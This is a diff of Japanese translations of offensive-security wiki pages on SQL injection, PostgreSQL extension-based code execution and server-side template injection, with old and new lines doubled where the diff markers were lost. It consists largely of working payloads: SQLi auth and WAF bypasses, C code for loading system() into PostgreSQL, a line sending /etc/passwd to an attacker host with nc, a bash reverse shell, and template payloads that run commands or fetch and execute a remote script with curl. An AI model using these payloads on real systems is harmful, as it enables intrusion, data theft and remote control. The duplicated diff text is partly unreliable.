&#xNAN;_(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK 認証バイパス
@ -318,11 +322,11 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー"**admin**"を**新しいパスワード**で更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、データベース内でユーザー"**admin**"を**新しいパスワード**で更新する際に**末尾のすべてのスペースを自動的に削除**します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さを超える文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL挿入時間ベースのチェック
@ -332,7 +336,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。
`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。
Example Payload Injection:
@ -350,7 +354,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
#### 同時に2つのアカウントを作成する
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールアドレスが必要です:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -380,7 +384,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
## ルーティッドSQLインジェクション
ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに渡される状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
例:
```
@ -389,7 +393,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
## WAF バイパス
[初期バイパスはこちらから](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[初期バイパスはこちらから](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### スペースなしバイパス
@ -412,13 +416,13 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス
```
### No commas bypass
No Comma - OFFSET、FROM、JOINを使用したバイパス
No Comma - OFFSET、FROM、およびJOINを使用したバイパス
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generic Bypasses
### 一般的なバイパス
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
```sql
@ -426,7 +430,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
キーワードをケースインセンシティブでブラックリスト化 - 同等の演算子を使用してバイパス
キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパス
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -447,7 +451,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能です**。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能です**。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`したがって、sqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -459,7 +463,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。
### WAFバイパス提案ツール
### WAFバイパスサジェスターツール
{{#ref}}
https://github.com/m4ll0k/Atlas

View File

@ -8,13 +8,13 @@ PostgreSQLは、拡張性をコア機能として開発されており、拡張
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
また、**もしあなたが** [**PostgreSQLを悪用して被害者にファイルをアップロードする方法を知らない場合は、この投稿を読むべきです。**](big-binary-files-upload-postgresql.md)
また、**PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、[この投稿を読むべきです。](big-binary-files-upload-postgresql.md)**
### RCE in Linux
**詳細については、次を確認してください: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
**詳細については、[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)を確認してください。**
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です[Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -26,7 +26,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Base64からバイナリファイルを書く</summary>
<summary>Write binary file from base64</summary>
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
```sql
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つそして1つだけに次のように記述します
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つそして1つだけに次のように記述します
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -90,7 +90,7 @@ PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプ
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
互換性のために、メジャーバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
互換性のために、主要なバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
そのバージョンをシステムにインストールするには:
```bash
@ -113,7 +113,7 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
次に、コンパイルされたライブラリをアップロードし、次のコマンドを実行します:
次に、コンパイルされたライブラリをアップロードし、コマンドを実行します:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
### WindowsでのRCE
のDLLは、**バイナリの名前**と**実行したい回数**を入力として受け取り、それを実行します:
以下のDLLは、**バイナリの名前**と**実行したい回数**を入力として受け取り、それを実行します:
```c
#include "postgres.h"
#include <string.h>
@ -166,7 +166,9 @@ PG_RETURN_VOID();
```
このZIPファイルにコンパイルされたDLLがあります
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
このDLLに**実行するバイナリ**と実行回数を指定できます。この例では、`calc.exe`を2回実行します
```bash
@ -264,7 +266,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。したがって、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
#### 攻撃フロー
@ -279,11 +281,11 @@ big-binary-files-upload-postgresql.md
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_拡張子 `.dll` を追加する必要はありません。create 関数がそれを追加します。_
_注意create関数が拡張子`.dll`を追加するため、付加する必要はありません。_
詳細については、**[こちらの元の出版物をお読みください](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
その出版物では、**[Postgres 拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)** が示されています_Postgres 拡張をコンパイルする方法については、以前のバージョンのいずれかをお読みください_。\
同じページで、この技術を自動化するための**エクスプロイト**が提供されました
その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください_。\
同じページには、この技術を自動化するための**エクスプロイト**が示されています
```python
#!/usr/bin/env python3
import sys

View File

@ -4,9 +4,9 @@
## SSTI (サーバーサイドテンプレートインジェクション) とは何か
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
```python
output = template.render(name=request.args.get('name'))
```
@ -16,7 +16,7 @@ output = template.render(name=request.args.get('name'))
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
ペイロード `{{bad-stuff-here}}``name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
ペイロード `{{bad-stuff-here}}``name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
@ -24,14 +24,14 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:
- 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。
- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが明らかになる可能性があります
- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
- **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username``greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうか。
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username``greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかです
#### 識別フェーズ
テンプレートエンジンを識別するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}``{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}``{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
#### ペイロードによる識別
@ -112,7 +112,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
```
**Freemarker - サンドボックスバイパス**
⚠️ Freemarker バージョン 2.3.30 未満でのみ動作します
⚠️ Freemarkerのバージョンが2.3.30未満の場合のみ動作します
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -155,7 +155,7 @@ $out.read()
### Thymeleaf
Thymeleafでは、SSTI脆弱性の一般的なテストは式`${7*7}`であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:
Thymeleafにおいて、SSTI脆弱性の一般的なテストは式`${7*7}`であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:
- SpringEL:
@ -169,7 +169,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]``[(...)]`のような構文を使用します。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]``[(...)]`のような構文が使用されます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
@ -201,7 +201,7 @@ el-expression-language.md
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**フィルターをバイパスする**
**フィルターのバイパス**
複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}``*{...}``@{...}`、または`~{...}`を試してください。
@ -261,7 +261,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
新しいバージョンの Pebble :
新しいバージョンのPebble:
```java
{% raw %}
{% set cmd = 'id' %}
@ -289,7 +289,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手できます。
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
**Jinjava - コマンド実行**
@ -375,10 +375,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層ウェブページなどとアプリケーションロジックマネージドビーンなどとの相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素とアプリケーションデータを接続しやすくします。
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
{{#ref}}
el-expression-language.md
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### その他のJava
### Other Java
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**詳細情報**
- Smartyセクション[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- Smartyセクション[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)にあります。
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
PlatesはPHPにネイティブなテンプレーエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
PlatesはPHPにネイティブなテンプレーティングエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
Controller:
```php
@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
ページテンプレート:
ページテンプレート
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
@ -591,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
@ -671,7 +671,7 @@ URLencoded:
| | 出力を評価してレンダリングする |
| | HTMLエンコードされた出力を評価してレンダリングする |
| | コメント |
| and | コードを許可する(デフォルトで無効) |
| そして | コードを許可する(デフォルトで無効) |
- \= 49
@ -693,7 +693,7 @@ URLencoded:
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**例 サーバーサイドレンダリング**
**例サーバーサイドレンダリング**
```javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)
@ -773,11 +773,11 @@ range.constructor(
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
- 詳細情報は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) を参照してください。
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。
### Python
**サンドボックスをバイパスする任意のコマンド実行**に関するトリックを学ぶには、以下のページをチェックしてください:
**サンドボックスをバイパスするための任意のコマンド実行**に関するトリックを学ぶには、以下のページをチェックしてください:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -814,7 +814,7 @@ range.constructor(
[公式ウェブサイト](http://jinja.pocoo.org)
> Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を備えており、広く使用されており、BSDライセンスです。
> Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を持ち、広く使用されており、BSDライセンスです。
- `{{7*7}} = エラー`
- `${7*7} = ${7*7}`
@ -873,7 +873,7 @@ range.constructor(
jinja2-ssti.md
{{#endref}}
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python)
```python
@ -942,7 +942,7 @@ Perlであっても、RubyのERBのようなタグを使用します。
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます
- `{{ . }}`: データ構造の入力を明らかにします。例えば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
- `{{ . }}`: データ構造の入力を表示します。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
- `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template)。
@ -950,15 +950,15 @@ Goのテンプレートエンジンでは、特定のペイロードを使用し
**XSS Exploitation**
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}``&lt;script&gt;alert(1)&lt;/script&gt;`になります)。それでも、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}``&lt;script&gt;alert(1)&lt;/script&gt;`になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
RCEの悪用は、`html/template``text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します“call”値を使用これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。
RCEの悪用は、`html/template``text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します“call”値を使用これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。えば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常ソースコードへのアクセスが必要です。
